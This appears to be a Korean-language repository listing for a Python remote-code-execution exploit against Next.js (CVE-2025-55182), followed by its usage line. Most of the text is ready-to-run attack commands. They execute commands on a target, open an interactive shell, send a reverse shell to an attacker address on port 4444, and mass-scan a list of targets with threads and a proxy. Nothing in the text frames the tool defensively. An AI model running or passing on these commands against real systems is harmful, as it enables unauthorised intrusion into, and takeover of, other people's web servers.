imbas007/poc-cve-2025-55182CVE-2025-55182를 대상으로 하는 Next.js RCE용 Python 익스플로잇으로, 단일 대상 공격, 대량 스캐닝, 대화형 셸, 리버스 셸 기능을 제공합니다.
출처 : https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
usage: CVE-2025-55182-Exp.py [-h] [-u URL] [-l LIST] [-c COMMAND] [-i] [--revshell LHOST LPORT] [-t THREADS] [--proxy PROXY] [--timeout TIMEOUT] [-v]
# Single target exploit
python3 CVE-2025-55182-Exp.py -u http://target:3000 -c "id"
# Interactive shell
python3 CVE-2025-55182-Exp.py -u http://target:3000 -i
# Reverse shell
python3 CVE-2025-55182-Exp.py -u http://target:3000 --revshell 10.10.10.10 4444
# Mass scan from file
python3 CVE-2025-55182-Exp.py -l targets.txt -c "whoami" -t 10
# With proxy
python3 CVE-2025-55182-Exp.py -u http://target:3000 -c "id" --proxy http://127.0.0.1:8080